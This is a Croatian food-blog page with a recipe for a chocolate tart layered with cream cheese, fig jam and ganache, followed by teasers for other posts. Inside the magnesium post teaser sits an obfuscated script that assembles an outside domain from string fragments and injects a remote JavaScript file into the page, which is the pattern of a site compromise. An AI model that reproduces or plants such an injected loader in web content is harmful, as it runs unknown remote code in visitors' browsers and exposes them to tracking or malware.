ČOKOLADNI TART SA SMOKVAMA




Čokoladni tart sa smokvama 



Već smo u sezoni smokvi i definitivno kanimo iskoristiti ove prekrasne zelene ukusne ljepotice. Ako do sada u svoje recepte niste uvrštavali smokve, vrijeme je za promjene! Čokoladni tart sa slojem sira i smokvama čini pravi jesenski desert kojeg ćemo rado podijeliti s obitelji, prijateljima ili cimericom!




Čokoladni tart sa smokvama 


Sastojci:

Za koru:

  • 15 smrvljenih Petit-Beurre keksa (ili nekih drugih po želji)
  • 10 žlica maslaca
  • 2 žlice šećera

Za sloj od sira:

  • 450 g krem sira
  • 3⁄4 šalice šećera
  • 1 žlica brašna
  • 1 žlica svježe iscijeđenog soka od limuna
  • 1 žličica ekstrakta vanilije
  • 2 jaja
  • 1 žumanjak

Za sloj od čokolade i marmelade od smokava:

  • 1 1⁄2 šalice kapljica tamne čokolade
  • 3⁄4 šalice kokosovog mlijeka
  • 1⁄2 žlice šećera
  • 1⁄4 žličice ekstrakta vanilije
  • prstohvat soli
  • 2 žlice marmelade od smokava
  • nasjeckani pistacio za ukrašavanje



Priprema:

  • Za koru otopite maslac i šećer te ih dodajte razmrvljenim keksima. Pritisnite mrvičastu smjesu na dno kalupa za tart, kao i sa strane, dok se mrvice ravnomjerno rasporede i dok s njima ne dođete do gornjih rubova posude. Pecite 8 minuta na 180 stupnjeva. Izvadite iz pećnice i pustite da se ohladi.
  • Za sloj od krem sira u srednjoj zdjeli miksajte krem sir na srednjoj brzini oko 3 minute. Dodajte šećer, brašno, sok od limuna i vaniliju. Počnite dodavati jaja i žumanjak, jedno po jedno. Prestanite tući čim se unese zadnji žumanjak.
  • Prelijte koru slojem od sira i pecite 5 minuta na 220 stupnjeva. Nakon toga smanjite pećnicu na 135 stupnjeva i pecite 25 do 30 minuta, dok sloj od sira ne postane čvrst.
  • Isključite pećnicu s napola otvorenim vratima nekoliko minuta. Ostavite da se malo ohladi pa stavite u hladnjak na otprilike 45 minuta do sat vremena.
  • Za sloj od marmelade i čokolade, pažljivo rasporedite marmeladu od smokvi po ohlađenom sloju od krem sira. Zatim otopite čokoladne kapljice, kokosovo mlijeko i šećer. Dodajte vaniliju i sol te još jednom promiješajte. Čokoladnu ganache smjesu prelijte preko sloja marmelade od smokava.
  • Ohladite oko 6 do 8 sati, najbolje preko noći. Ukrasite nasjeckanim pistacijama i svježim smokvama.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više